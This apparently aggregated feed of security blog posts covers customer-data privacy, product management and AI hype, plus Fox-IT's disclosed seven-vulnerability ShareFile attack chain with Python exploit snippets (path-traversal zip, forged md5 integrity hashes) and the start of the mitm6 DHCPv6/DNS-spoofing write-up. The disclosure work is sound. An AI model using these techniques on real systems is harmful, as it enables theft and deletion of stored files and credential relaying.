ThreatConnect CAL collects anonymous data from all participating instances of ThreatConnect, including ThreatConnect Cloud. Through large data analysis, CAL provides insights and recommendations that are delivered back to any participating ThreatConnect instance - Cloud, Dedicated Cloud, and On-Premises. These insights can take many forms, including classification of indicators and indicator reputation. We've designed these insights to be a boost to in-platform analytics, such as ThreatAssess and Playbooks.  

Users of Dedicated Cloud and On-Premises instances of the Platform can choose whether they want to leverage CAL or not. When turned off, both anonymous sharing with CAL and CAL insights are disabled. If you want to have the benefits of CAL, but keep some indicators private, you can also do that by marking indicators as private in your instance. The table below summarizes the data CAL collects from participants, and the value it derives from the data:

 

Customer Data Used by CAL Value Provided
IOC False Positive Vote (Count) Provides count of False Positives across CAL-connected platforms and drives CAL recommendations for reputation and indicator status
IOC Impressions (Count) Provides count of page views, searches, and automated lookups and drives CAL recommendations for reputation and indicator status.
IOC Observations (Count) Provides count of reported observations of IOC across CAL connected platforms drives CAL recommendations for reputation and indicator status
IOC Status (Active/Inactive) Provides a holistic picture of which indicators users want to keep active or inactive in their instance, allowing CAL to recommend better indicator status and reduce time wasted on "junk" IOC's for participants.

 

To reiterate, all of the above information is captured and processed in an anonymized, aggregated fashion. After authentication, any identifying information about your instance is separated from the data and it is combined to provide our analytics an understanding of how to treat the data. To put another way, we don't track or care about who submitted any of the above information, but rather how many participants submitted it.

Finally, ThreatConnect software instances may be connected to our user feedback platform in order for our product managers and customer success personnel to learn more about our customers' usage. This is common among most software vendors, as the insights gleaned allow our company to improve our software experience and identify data-driven ways to help our users do their jobs better. Participation in this platform also enables us to deliver interactive guides in the application to help users hit the ground running. Dedicated Cloud and On-Premises software instances can turn off this feature if they want.  

Your data, and privacy, is of the utmost importance to us. We have made, and continue to make, major investments to protect the data you entrust to us. Our Information Security Management System (ISMS) is built on the ISO 27001:2013 set of standards to ensure that we appropriately secure ThreatConnect. Also, we've researched GDPR extensively and are taking actions to assure compliance.  

If you have any questions regarding our corporate security program or your data privacy please use the CONTACT US form and select "Security Program/Compliance" from the dropdown menu.

The post The Power and Responsibility of Customer Data and Analytics appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Security Product Management at Large Companies vs. Startups

Is it better to perform product management of information security solutions at a large company or at a startup? Picking the setting that’s right for you isn’t as simple as craving the exuberant energy of a young firm or coveting the resources and brand of an organization that’s been around for a while. Each environment has its challenges and advantages for product managers. The type of innovation, nature of collaboration, sales dynamics, and cultural nuances are among the factors to consider when deciding which setting is best for you.

The perspective below is based on my product management experiences in the field information security, though I suspect it’s applicable to product managers in other hi-tech environments.

Product Management at a Large Firm

In the world of information security, industry incumbents are usually large organizations. This is in part because growing in a way that satisfies investors generally requires the financial might, brand and customer access that’s hard for small cyber-security companies to achieve. Moreover, customers who are not early adopters often find it easier to focus their purchasing on a single provider of unified infosec solutions. These dynamics set the context for the product manager’s role at large firms.

Access to Customers

Though the specifics differs across organizations, product management often involves defining capabilities and driving adoption. The product manager’s most significant advantage at a large company is probably access to customers. This is due to the size of the firm’s sales and marketing organization, as well as due to the large number of companies that have already purchased some of the company’s products.

Such access helps with understanding requirements for new products, improving existing technologies, and finding new customers. For example, you could bring your product to a new geography by using the sales force present in that area without having to hire a dedicated team. Also, it’s easier to upsell a complementary solution than build a new customer relationship from scratch.

Access to Expertise

Another benefit of a large organization is access to funds and expertise that’s sometimes hard to obtain in a young, small company. Instead of hiring a full-time specialist for a particular task, you might be able to draw upon the skills and experience of someone who supports multiple products and teams. In addition, assuming your efforts receive the necessary funding, you might find it easier to pursue product objectives and enter new markets in a way that could be hard for a startup to accomplish. This isn’t always easy, because budgetary planning in large companies can be more onerous than Venture Capitalist fund raising.

Organizational Structure

Working in any capacity at an established firm requires that you understand and follow the often-changing bureaucratic processes inherent to any large entity. Depending on the organization’s structure, product managers in such environments might lack the direct control over the teams vital to the success of their product. Therefore, the product manager needs to excel at forming cross-functional relationships and influencing indirectly. (Coincidentally, this is also a key skill-set for many Chief Information Security Officers.)

Sometimes even understanding all of your own objectives and success criteria in such environments can be challenging. It can be even harder to stay abreast of the responsibilities of others in the corporate structure. On the other hand, one of the upsides of a large organization is the room to grow one’s responsibilities vertically and horizontally without switching organizations. This is often impractical in small companies.

What It’s Like at a Large Firm

In a nutshell, these are the characteristics inherent to product management roles at large companies:

  • An established sales organization, which provides access to customers
  • Potentially-conflicting priorities and incentives with groups and individuals within the organization
  • Rigid organizational structure and bureaucracy
  • Potentially-easier access to funding for sophisticated projects and complex products
  • Possibly-easier access to the needed expertise
  • Well-defined career development roadmap

I loved working as a security product manager at a large company. I was able to oversee a range of in-house software products and managed services that focused on data security. One of my solutions involved custom-developed hardware, with integrated home-grown and third-party software, serviced a team of help desk and in-the-field technicians. A fun challenge!

I also appreciated the chance to develop expertise in the industries that my employer serviced, so I could position infosec benefits in the context relevant to those customers. I enjoyed staying abreast of the social dynamics and politics of a siloed, matrixed organization. After awhile I decided to leave because I was starting to feel a bit too comfortable. I also developed an appetite for risk and began craving the energy inherent to startups.

Product Management in a Startup

One of the most liberating, yet scary aspects of product management at a startup is that you’re starting the product from a clean slate. On the other hand, while product managers at established companies often need to account for legacy requirements and internal dependencies, a young firm is generally free of such entanglements, at least at the onset of its journey.

What markets are we targeting? How will we reach customers? What comprises the minimum viable product? Though product managers ask such questions in all types of companies, startups are less likely to survive erroneous answers in the long term. Fortunately, short-term experiments are easier to perform to validate ideas before making strategic commitments.

Experimenting With Capabilities

Working in a small, nimble company allows the product manager to quickly experiment with ideas, get them implemented, introduce them into the field, and gather feedback. In the world of infosec, rapidly iterating through defensive capabilities of the product is useful for multiple reasons, including the ability to assess—based on real-world feedback—whether the approach works against threats.

Have an idea that is so crazy, it just might work? In a startup, you’re more likely to have a chance to try some aspect of your approach, so you can rapidly determine whether it’s worth pursuing further. Moreover, given the mindshare that the industry’s incumbents have with customers, fast iterations help understand which product capabilities, delivered by the startup, the customers will truly value.

Fluid Responsibilities

In all companies, almost every individual has a certain role for which they’ve been hired. Yet, the specific responsibilities assigned to that role in a young firm often benefit from the person’s interpretation, and are based on the person’s strengths and the company’s need at a given moment. A security product manager working at a startup might need to assist with pre-sales activities, take a part in marketing projects, perform threat research and potentially develop proof-of-concept code, depending on what expertise the person possesses and what the company requires.

People in a small company are less likely to have the “it’s not my job attitude” than those in highly-structured, large organizations. A startup generally has fewer silos, making it easier to engage in activities that interest the person even if they are outside his or her direct responsibilities. This can be stressful and draining at times. On the other hand, it makes it difficult to get bored, and also gives the product manager an opportunity to acquire skills in areas tangential to product management. (For additional details regarding this, see my article What’s It Like to Join a Startup’s Executive Team?)

Customer Reach

Product manager’s access to customers and prospects at a startup tends to be more immediate and direct than at a large corporation. This is in part because of the many hats that the product manager needs to wear, sometimes acting as a sales engineer and at times helping with support duties. These tasks give the person the opportunity to hear unfiltered feedback from current and potential users of the product.

However, a young company simply lacks the scale of the sales force that accommodates reaching many customers until the firm builds up steam. (See Access to Customers above.) This means that the product manager might need to help identifying prospects, which can be outside the comfort zone of individuals who haven’t participated in sales efforts in this capacity.

What It’s Like at a Startup

Here are the key aspects of performing product management at a startup:

  • Ability and need to iterate faster to get feedback
  • Willingness and need to take higher risks
  • Lower bureaucratic burden and red tape
  • Much harder to reach customers
  • Often fewer resources to deliver on the roadmap
  • Fluid designation of responsibilities

I’m presently responsible for product management at Minerva Labs, a young endpoint security company. I’m loving the make-or-break feeling of the startup. For the first time, I’m overseeing the direction of a core product that’s built in-house, rather than managing a solution built upon third-party technology. It’s gratifying to be involved in the creation of new technology in such a direct way.

There are lots of challenges, of course, but every day feels like an adventure, as we fight for the seat at the big kids table, grow the customer base and break new ground with innovative anti-malware approaches. It’s a risky environment with high highs and low lows, but it feels like the right place for me right now.

Which Setting is Best for You?

Numerous differences between startups and large companies affect the experience of working in these firms. The distinction is highly pronounced for product managers, who oversee the creation of the solutions sold by these companies. You need to understand these differences prior to deciding which of the environments is best for you, but that’s just a start. Next, understand what is best for you, given where you are in life and your professional development. Sometimes the capabilities that you as a product manager will have in an established firm will be just right; at others, you will thrive in a startup. Work in the environment that appeals to you, but also know when (or whether) it’s time to make a change.

Compromising Citrix ShareFile on-premise via 7 chained vulnerabilities

A while ago we investigated a setup of Citrix ShareFile with an on-premise StorageZone controller. ShareFile is a file sync and sharing solution aimed at enterprises. While there are versions of ShareFile that are fully managed in the cloud, Citrix offers a hybrid version where the data is stored on-premise via StorageZone controllers. This blog describes how Fox-IT identified several vulnerabilities, which together allowed any account to (from the internet) access any file stored within ShareFile. Fox-IT disclosed these vulnerabilities to Citrix, which mitigated them via updates to their cloud platform. The vulnerabilities identified were all present in the StorageZone controller component, and thus cloud-only deployments were not affected. According to Citrix, several fortune-500 enterprises and organisations in the government, tech, healthcare, banking and critical infrastructure sectors use ShareFile (either fully in the Cloud or with an on-premise component).

Sharefile

Gaining initial access

After mapping the application surface and the flows, we decided to investigate the upload flow and the connection between the cloud and on-premise components of ShareFile. There are two main ways to upload files to ShareFile: one based on HTML5 and one based on a Java Applet. In the following examples we are using the Java based uploader. All requests are configured to go through Burp, our go-to tool for assessing web applications.
When an upload is initialized, a request is posted to the ShareFile cloud component, which is hosted at name.sharefile.eu (where name is the name of the company using the solution):

Initialize upload

We can see the request contains information about the upload, among which is the filename, the size (in bytes), the tool used to upload (in this case the Java uploader) and whether we want to unzip the upload (more about that later). The response to this request is as follows:

Initialize upload response

In this response we see two different upload URLs. Both use the URL prefix (which is redacted here) that points to the address of the on-premise StorageZone controller. The cloud component thus generates a URL that is used to upload the files to the on-premise component.

The first URL is the ChunkUri, to which the individual chunks are uploaded. When the filetransfer is complete, the FinishUri is used to finalize the upload on the server. In both URLs we see the parameters that we submitted in the request such as the filename, file size, et cetera. It also contains an uploadid which is used to identify the upload. Lastly we see a h= parameter, followed by a base64 encoded hash. This hash is used to verify that the parameters in the URL have not been modified.

The unzip parameter immediately drew our attention. As visible in the screenshot below, the uploader offers the user the option to automatically extract archives (such as .zip files) when they are uploaded.

Extract feature

A common mistake made when extracting zip files is not correctly validating the path in the zip file. By using a relative path it may be possible to traverse to a different directory than intended by the script. This kind of vulnerability is known as a directory traversal or path traversal.

The following python code creates a special zip file called out.zip, which contains two files, one of which has a relative path.

import sys, zipfile
#the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
#the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'xxe_oob.xml'
#destination path of the file
zf.write(fname, '../../../../testbestand_fox.tmp')
#random extra file (not required)
#example: dd if=/dev/urandom of=test.file bs=1024 count=600
fname = 'test.file'
zf.write(fname, 'tfile')

When we upload this file to ShareFile, we get the following message:

ERROR: Unhandled exception in upload-threaded-3.aspx - 'Access to the path '\\company.internal\data\testbestand_fox.tmp' is denied.'

This indicates that the StorageZone controller attempted to extract our file to a directory for which we lacked permissions, but that we were able to successfully change the directory to which the file was extracted. This vulnerability can be used to write user controlled files to arbitrary directories, provided the StorageZone controller has privileges to write to those directories. Imagine the default extraction path would be c:\appdata\citrix\sharefile\temp\ and we want to write to c:\appdata\citrix\sharefile\storage\subdirectory\ we can add a file with the name ../storage/subdirectory/filename.txt which will then be written to the target directory. The ../ part indicates that the Operating System should go one directory higher in the directory tree and use the rest of the path from that location.

Vulnerability 1: Path traversal in archive extraction

From arbitrary write to arbitrary read

While the ability to write arbitrary files to locations within the storage directories is a high-risk vulnerability, the impact of this vulnerability depends on how the files on disk are used by the application and if there are sufficient integrity checks on those files. To determine the full impact of being able to write files to the disk we decided to look at the way the StorageZone controller works. There are three main folders in which interesting data is stored:

  • files
  • persistenstorage
  • tokens

The first folder, files, is used to store temporary data related to uploads. Files already uploaded to ShareFile are stored in the persistentstorage directory. Lastly the tokens folder contains data related to tokens which are used to control the downloads of files.

When a new upload was initialized, the URLs contained a parameter called uploadid. As the name already indicates this is the ID assigned to the upload, in this case it is rsu-2351e6ffe2fc462492d0501414479b95. In the files directory, there are folders for each upload matching with this ID.

In each of these folders there is a file called info.txt, which contains information about our upload:

Info.txt

In the info.txt file we see several parameters that we saw previously, such as the uploadid, the file name, the file size (13 bytes), as well as some parameters that are new. At the end, we see a 32 character long uppercase string, which hints at an integrity hash for the data.
We see two other IDs, fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 and fo9252b1-1f49-4024-aec4-6fe0c27ce1e6, which correspond with the file ID for the upload and folder ID to which the file is uploaded respectively.

After trying to figure out for a while what kind of hashing algorithm was used for the integrity check of this file, it turned out that it is a simple md5 hash of the rest of the data in the info.txt file. The twist here is that the data is encoded with UTF-16-LE, which is default for Unicode strings in Windows.

Armed with this knowledge we can write a simple python script which calculates the correct hash over a modified info.txt file and write this back to disk:

import md5
with open('info_modified.txt','r') as infile:
instr = infile.read().strip().split('|')
instr2 = u'|'.join(instr[:-1])
outhash = md5.new(instr2.encode('utf-16-le')).hexdigest().upper()
with open('info_out.txt','w') as outfile:
outfile.write('%s|%s' % (instr2, outhash))

Here we find our second vulnerability: the info.txt file is not verified for integrity using a secret only known by the application, but is only validated with an md5 hash against corruption. This gives an attacker that can write to the storage folders the possibility to alter the upload information.

Vulnerability 2: Integrity of data files (info.txt) not verified

Since our previous vulnerability enabled us to write files to arbitrary locations, we can upload our own info.txt and thus modify the upload information.
It turns out that when uploading data, the file ID fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 is used as temporary name for the file. The data that is uploaded is written to this file, and when the upload is finilized this file is added to the users ShareFile account. We are going to attempt another path traversal here. Using the script above, we modify the file ID to a different filename to attempt to extract a test file called secret.txt which we placed in the files directory (one directory above the regular location of the temporary file). The (somewhat redacted) info.txt then becomes:

modified info.txt

When we subsequently post to the upload-threaded-3.aspx page to finalize the upload, we are presented with the following descriptive error:

File size does not match

Apparently, the filesize of the secret.txt file we are trying to extract is 14 bytes instead of 13 as the modified info.txt indicated. We can upload a new info.txt file which does have the correct filesize, and the secret.txt file is succesfully added to our ShareFile account:

File extraction POC

And thus we’ve successfully exploited a second path traversal, which is in the info.txt file.

Vulnerability 3: Path traversal in info.txt data

By now we’ve turned our ability to write arbitrary files to the system into the ability to read arbitrary files, as long as we do know the filename. It should be noted that all the information in the info.txt file can be found by investigating traffic in the web interface, and thus an attacker does not need to have an info.txt file to perform this attack.

Investigating file downloads

So far, we’ve only looked at uploading new files. The downloading of files is also controlled by the ShareFile cloud component, which instructs the StorageZone controller to serve the frequested files. A typical download link looks as follows:

Download URL

Here we see the dt parameter which contains the download token. Additionally there is a h parameter which contains a HMAC of the rest of the URL, to prove to the StorageZone controller that we are authorized to download this file.

The information for the download token is stored in an XML file in the tokens directory. An example file is shown below:

<!--?xml version="1.0" encoding="utf-8"?--><!--?xml version="1.0" encoding="utf-8"?--><?xml version="1.0" encoding="utf-8"?>
<ShareFileDownloadInfo authSignature="866f075b373968fcd2ec057c3a92d4332c8f3060" authTimestamp="636343218053146994">
<DownloadTokenID>dt6bbd1e278a634e1bbde9b94ff8460b24</DownloadTokenID>
<RequestType>single</RequestType>
<BaseUrl>https://redacted.sf-api.eu/</BaseUrl>
<ErrorUrl>https://redacted.sf-api.eu//error.aspx?type=storagecenter-downloadprep</ErrorUrl>
<StorageBasePath>\\s3\sf-eu-1\;</StorageBasePath>
<BatchID>dt6bbd1e278a634e1bbde9b94ff8460b24</BatchID>
<ZipFileName>tfile</ZipFileName>
<UserAgent>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0</UserAgent>
<Metadata>
<Item key="operatingsystem" value="Linux" />
</Metadata>
<IrmEnabled>false</IrmEnabled>
<IrmPolicyServerUrl />
<IrmAccessId />
<IrmAccessKey />
<Items>
<File name="testfile" path="a4ea881a-a4d5-433a-fa44-41acd5ed5a5f\0f\0f\fi0f0f2e_3477_4647_9cdd_e89758c21c37" size="61" id="" />
</Items>
<Log>
<EventID>fif11465-ba81-8b77-7dd9-4256bc375017</EventID>
<UserID>c7add7af-91ac-4331-b48a-0aeed4a58687</UserID>
<OwnerID>c7add7af-91ac-4331-b48a-0aeed4a58687</OwnerID>
<AccountID>a4ea881a-a4d5-433a-fa44-41acd5ed5a5f</AccountID>
<UserEmailAddress>fox-it@redacted</UserEmailAddress>
<Name>tfile</Name>
<FileCount>1</FileCount>
<AdditionalInfo>fif11465-ba81-8b77-7dd9-4256bc375017</AdditionalInfo>
<FolderID>foh160ab-aa5a-4e43-96fd-e41caed36cea</FolderID>
<ParentID>foh160ab-aa5a-4e43-96fd-e41caed36cea</ParentID>
<Path>/root/a4ea881a-a4d5-433a-fa44-41acd5ed5a5f/foh160ab-aa5a-4e43-96fd-e41caed36cea</Path>
<IncrementDownloadCount>false</IncrementDownloadCount>
<ShareID />
</Log>
</ShareFileDownloadInfo>

Two things are of interest here. The first is the path property of the File element, which specifies which file the token is valid for. The path starts with the ID a4ea881a-a4d5-433a-fa44-41acd5ed5a5f which is the ShareFile AccountID, which is unique per ShareFile instance. Then the second ID fi0f0f2e_3477_4647_9cdd_e89758c21c37 is unique for the file (hence the fi prefix), with two 0f subdirectories for the first characters of the ID (presumably to prevent huge folder listings).

The second noteworthy point is the authSignature property on the ShareFileDownloadInfo element. This suggests that the XML is signed to ensure its authenticity, and to prevent malicious tokens from being downloaded.

At this point we started looking at the StorageZone controller software itself. Since it is a program written in .NET and running under IIS, it is trivial to decompile the binaries with toos such as JustDecompile. While we obtained the StorageZone controller binaries from the server the software was running on, Citrix also offers this component as a download on their website.

In the decompiled code, the functions responsible for verifying the token can quickly be found. The feature to have XML files with a signature is called AuthenticatedXml by Citrix. In the code we find that a static key is used to verify the integrity of the XML file (which is the same for all StorageZone controllers):

Static MAC secret

Vulnerability 4: Token XML files integrity integrity not verified

During our research we of course attempted to simply edit the XML file without changing the signature, and it turned out that it is not nessecary to calculate the signature as an attacker, since the application simply tells you what correct signature is if it doesn’t match:

Signature disclosure

Vulnerability 5: Debug information disclosure

Furthermore, when we looked at the code which calculates the signature, it turned out that the signature is calculated by prepending the secret to the data and calculating a sha1 hash over this. This makes the signature potentially vulnerable to a hash length extension attack, though we did not verify this in the time available.

Hashing of secret prepended

Even though we didn’t use it in the attack chain, it turned out that the XML files were also vulnerable to XML External Entity (XXE) injection:

XXE error

Vulnerability 6 (not used in the chain): Token XML files vulnerable to XXE

In summary, it turns out that the token files offer another avenue to download arbitrary files from ShareFile. Additionally, the integrity of these files is insufficiently verified to protect against attackers. Unlike the previously described method which altered the upload data, this method will also decrypt encrypted files if encrypted storage is enabled within ShareFile.

Getting tokens and files

At this point we are able to write arbitrary files to any directory we want and to download files if the path is known. The file path however consists of random IDs which cannot be guessed in a realistic timeframe. It is thus still necessary for an attacker to find a method to enumerate the files stored in ShareFile and their corresponding IDs.

For this last step, we go back to the unzip functionality. The code responsible for extracting the zip file is (partially) shown below.

Unzip code

What we see here is that the code creates a temporary directory to which it extracts the files from the archive. The uploadId parameter is used here in the name of the temporary directory. Since we do not see any validation taking place of this path, this operation is possibly vulnerable to yet another path traversal. Earlier we saw that the uploadId parameter is submitted in the URL when uploading files, but the URL also contains a HMAC, which makes modifying this parameter seemingly impossible:

HMAC Url

However, let’s have a look at the implementation first. The request initially passes through the ValidateRequest function below:

Validation part 1

Which then passes it to the second validation function:

Validation part 2

What happens here is that the h parameter is extracted from the request, which is then used to verify all parameters in the url before the h parameter. Thus any parameters following the h in the URL are completely unverified!

So what happens when we add another parameter after the HMAC? When we modify the URL as follows:

uploadid-double.png

We get the following message:

{"error":true,"errorMessage":"upload-threaded-2.aspx: ID='rsu-becc299a4b9c421ca024dec2b4de7376,foxtest' Unrecognized Upload ID.","errorCode":605}

So what happens here? Since the uploadid parameter is specified multiple times, IIS concatenates the values which are separated with a comma. Only the first uploadid parameter is verified by the HMAC, since it operates on the query string instead of the individual parameter values, and only verifies the portion of the string before the h parameter. This type of vulnerability is known as HTTP Parameter Polution.

Vulnerability 7: Incorrectly implemented URL verification (parameter pollution)

Looking at the upload logic again, the code calls the function UploadLogic.RecursiveIteratePath after the files are extracted to the temporary directory, which recursively adds all the files it can find to the ShareFile account of the attacker (some code was cut for readability):

Recursive iteration

To exploit this, we need to do the following:

  • Create a directory called rsu-becc299a4b9c421ca024dec2b4de7376, in the files directory.
  • Upload an info.txt file to this directory.
  • Create a temporary directory called ulz-rsu-becc299a4b9c421ca024dec2b4de7376,.
  • Perform an upload with an added uploadid parameter pointing us to the tokens directory.

The creation of directories can be performed with the directory traversal that was initially identified in the unzip operation, since this will create any non-existing directories. To perform the final step and exploit the third path traversal, we post the following URL:

Upload ID path traversal

Side note: we use tokens_backup here because we didn’t want to touch the original tokens directory.

Which returns the following result that indicates success:

Upload ID path traversal result

Going back to our ShareFile account, we now have hundreds of XML files with valid download tokens available, which all link to files stored within ShareFile.

Download tokens

Vulnerability 8: Path traversal in upload ID

We can download these files by modifying the path in our own download token files for which we have the authorized download URL.
The only side effect is that adding files to the attackers account this way also recursively deletes all files and folders in the temporary directory. By traversing the path to the persistentstorage directory it is thus also possible to delete all files stored in the ShareFile instance.

Conclusion

By abusing a chain of correlated vulnerabilities it was possible for an attacker with any account allowing file uploads to access all files stored by the ShareFile on-premise StorageZone controller.

Based on our research that was performed for a client, Fox-IT reported the following vulnerabilities to Citrix on July 4th 2017:

  1. Path traversal in archive extraction
  2. Integrity of data files (info.txt) not verified
  3. Path traversal in info.txt data
  4. Token XML files integrity integrity not verified
  5. Debug information disclosure (authentication signatures, hashes, file size, network paths)
  6. Token XML files vulnerable to XXE
  7. Incorrectly implemented URL verification (parameter pollution)
  8. Path traversal in upload ID

Citrix was quick with following up on the issues and rolling out mitigations by disabling the unzip functionality in the cloud component of ShareFile. While Fox-IT identified several major organisations and enterprises that use ShareFile, it is unknown if they were using the hybrid setup in a vulnerable configuration. Therefor, the number of affected installations and if these issues were abused is unknown.

Disclosure timeline

  • July 4th 2017: Fox-IT reports all vulnerabilities to Citrix
  • July 7th 2017: Citrix confirms they are able to reproduce vulnerability 1
  • July 11th 2017: Citrix confirms they are able to reproduce the majority of the other vulnerabilities
  • July 12th 2017: Citrix deploys an initial mitigation for vulnerability 1, breaking the attack chain. Citrix informs us the remaining findings will be fixed on a later date as defense-in-depth measures
  • October 31st 2017: Citrix deploys additional fixes to the cloud-based ShareFile components
  • April 6th 2018: Disclosure

CVE: To be assigned

Don’t Get Caught Up in the Hype of AI for Security

Don't get caught up in the hype of artificial intelligence or machine learning. Does the product correlate and analyze alerts?

When Nails are Exciting, Everyone Wants to Talk about Hammers...

Sticking with the tool theme from my last post, data is ushering in "better" products in every industry, but why are we so enamored with Artificial Intelligence and Machine Learning?

 

 

Soon you'll be able to make coffee where the temperature and grind is unique to the particular bean and roast you are using. The connected coffee maker will crowdsource ratings from all it's owners, will analyze data collected, and produce insights and recommendations which will then be fed back down to your coffee maker - all in support of a better cup of coffee.  

These types of use-cases of data are very exciting to me. The downside is that although I'm a big fan of coffee -- and think this type of technology is pretty cool -- most people don't need to worry about how the sausage, I mean the coffee, is made. They simply want a better cup of joe.  

At the RSA Conference in a couple of weeks, you're going to see many cyber security companies talking about their Artificial Intelligence (AI) and Machine Learning (ML). Here is an example of how one company might speak about their product when you ask them what they do.  "...applies AI and machine learning to automate the correlation and analysis of threats."

Frankly, I don't -- and you shouldn't -- care about their usage of AI or ML. The real question to ask the vendor is: does the product correlate and analyze alerts, and can they prove that their product does it better than their competitors?

Now, you're thinking, doesn't ThreatConnect do analytics and don't you say that your Platform is better because of the data and analytics you are using?  The answer is yes and yes. But, we are honest about what our analytics do and don't do, and we absolutely don't throw around terms like AI and ML with our customers as value propositions by themselves.

Our focus at ThreatConnect has been to leverage our real world experiences, and those of our customers, to scale repeatable processes that help you understand your data. We're less focused on buzzwords that might trigger your news alerts. Rest assured, we've designed these repeatable processes both within the Platform and in CAL™ (Collective Analytics Layer) to make a great cup of coffee. Our data scientists have curated these analytics and statistical models to score indicators, provide insights across datasets, and improve our ability to confidently recommend actions. For the sake of mankind, we hope to never build the fancy newest "Skynet machine learning algorithm." What we will do is use data and analytics (and hype-free marketing) to promote security automation and decision-making in a pragmatic, achievable, and non-world-ending-killing-machines way.  

The post Don't Get Caught Up in the Hype of AI for Security appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Practical Tips for Creating and Managing New Information Technology Products

This cheat sheet offers advice for product managers of new IT solutions at startups and enterprises. To print it, use the one-page PDF version; you can also edit the Word version to customize it for you own needs.

Responsibilities of a Product Manager

  • Determine what to build, not how to build it.
  • Envision the future pertaining to product domain.
  • Align product roadmap to business strategy.
  • Define specifications for solution capabilities.
  • Prioritize feature requirements, defect correction, technical debt work and other development efforts.
  • Help drive product adoption by communicating with customers, partners, peers and internal colleagues.
  • Participate in the handling of issue escalations.
  • Sometimes take on revenue or P&L responsibilities.

Defining Product Capabilities

  • Understand gaps in the existing products within the domain and how customers address them today.
  • Understand your firm’s strengths and weaknesses.
  • Research the strengths and weaknesses of your current and potential competitors.
  • Define the smallest set of requirements for the initial (or next) release (minimum viable product).
  • When defining product requirements, balance long-term strategic needs with short-term tactical ones.
  • Understand your solutions key benefits and unique value proposition.

Strategic Market Segmentation

  • Market segmentation often accounts for geography, customer size or industry verticals.
  • Devise a way of grouping customers based on the similarities and differences of their needs.
  • Also account for the similarities in your capabilities, such as channel reach or support abilities.
  • Determine which market segments you’re targeting.
  • Understand similarities and differences between the segments in terms of needs and business dynamics.
  • Consider how you’ll reach prospective customers in each market segment.

Engagement with the Sales Team

  • Understand the nature and size of the sales force aligned with your product.
  • Explore the applicability and nature of a reseller channel or OEM partnerships for product growth.
  • Understand sales incentives pertaining to your product and, if applicable, attempt to adjust them.
  • Look for misalignments, such as recurring SaaS product pricing vs. traditional quarterly sales goals.
  • Assess what other products are “competing” for the sales team’s attention, if applicable.
  • Determine the nature of support you can offer the sales team to train or otherwise support their efforts.
  • Gather sales’ negative and positive feedback regarding the product.
  • Understand which market segments and use-cases have gained the most traction in the product’s sales.

The Pricing Model

  • Understand the value that customers in various segments place on your product.
  • Determine your initial costs (software, hardware, personnel, etc.) related to deploying the product.
  • Compute your ongoing costs related to maintaining the product and supporting its users.
  • Decide whether you will charge customers recurring or one-time (plus maintenance) fees for the product.
  • Understand the nature of customers’ budgets, including any CapEx vs. OpEx preferences.
  • Define the approach to offering volume pricing discounts, if applicable.
  • Define the model for compensating the sales team, including resellers, if applicable.
  • Establish the pricing schedule, setting the priced based on perceived value.
  • Account for the minimum desired profit margin.

Product Delivery and Operations

  • Understand the intricacies of deploying the solution.
  • Determine the effort required to operate, maintain and support the product on an ongoing basis.
  • Determine for the technical steps, personnel, tools, support requirements and the associated costs.
  • Document the expectations and channels of communication between you and the customer.
  • Establish the necessary vendor relationship for product delivery, if necessary.
  • Clarify which party in the relationship has which responsibilities for monitoring, upgrades, etc.
  • Allocate the necessary support, R&D, QA, security and other staff to maintain and evolve the product.
  • Obtain the appropriate audits and certifications.

Product Management at Startups

  • Ability and need to iterate faster to get feedback
  • Willingness and need to take higher risks
  • Lower bureaucratic burden and red tape
  • Much harder to reach customers
  • Often fewer resources to deliver on the roadmap
  • Fluid designation of responsibilities

Product Management at Large Firms

  • An established sales organization, which provides access to customers
  • Potentially-conflicting priorities and incentives with groups and individuals within the organization
  • Rigid organizational structure and bureaucracy
  • Potentially-easier access to funding for sophisticated projects and complex products
  • Possibly-easier access to the needed expertise
  • Well-defined career development roadmap

Post-Scriptum

Authored by Lenny Zeltser, who’ve been responsible for product management of information security solutions at companies large and small. This cheat sheet, version 1.0, is released under the Creative Commons v3 “Attribution” License.

mitm6 – compromising IPv4 networks via IPv6

While IPv6 adoption is increasing on the internet, company networks that use IPv6 internally are quite rare. However, most companies are unaware that while IPv6 might not be actively in use, all Windows versions since Windows Vista (including server variants) have IPv6 enabled and prefer it over IPv4. In this blog, an attack is presented that abuses the default IPv6 configuration in Windows networks to spoof DNS replies by acting as a malicious DNS server and redirect traffic to an attacker specified endpoint. In the second phase of this attack, a new method is outlined to exploit the (infamous) Windows Proxy Auto Discovery (WPAD) feature in order to relay credentials and authenticate to various services within the network. The tool Fox-IT created for this is called mitm6, and is available from the Fox-IT GitHub.

IPv6 attacks

Similar to the slow IPv6 adoption, resources about abusing IPv6 are much less prevalent than those describing IPv4 pentesting techniques. While every book and course mentions things such as ARP spoofing, IPv6 is rarely touched on and the tools available to test or abuse IPv6 configurations are limited. The THC IPV6 Attack toolkit is one of the available tools, and was an inspiration for mitm6. The attack described in this blog is a partial version of the SLAAC attack, which was first described by in 2011 by Alex Waters from the Infosec institute. The SLAAC attack sets up various services to man-in-the-middle all traffic in the network by setting up a rogue IPv6 router. The setup of this attack was later automated with a tool by Neohapsis called suddensix.

The downside of the SLAAC attack is that it attempts to create an IPv6 overlay network over the existing IPv4 network for all devices present. This is hardly a desired situation in a penetration test since this rapidly destabilizes the network. Additionally the attack requires quite a few external packages and services to work. mitm6 is a tool which focusses on an easy to setup solution that selectively attacks hosts and spoofs DNS replies, while minimizing the impact on the network’s regular operation. The result is a python script which requires almost no configuration to set up, and gets the attack running in seconds. When the attack is stopped, the network reverts itself to it’s previous state within minutes due to the tweaked timeouts set in the tool.

The mitm6 attack

Attack phase 1 – Primary DNS takeover

mitm6 starts with listening on the primary interface of the attacker machine for Windows clients requesting an IPv6 configuration via DHCPv6. By default every Windows machine since Windows Vista will request this configuration regularly. This can be seen in a packet capture from Wireshark:

dhcpv6_cropped

mitm6 will reply to those DHCPv6 requests, assigning the victim an IPv6 address within the link-local range. While in an actual IPv6 network these addresses are auto-assigned by the hosts themselves and do not need to be configured by a DHCP server, this gives us the opportunity to set the attackers IP as the default IPv6 DNS server for the victims. It should be noted that mitm6 currently only targets Windows based operating systems, since other operating systems like macOS and Linux do not use DHCPv6 for DNS server assignment.

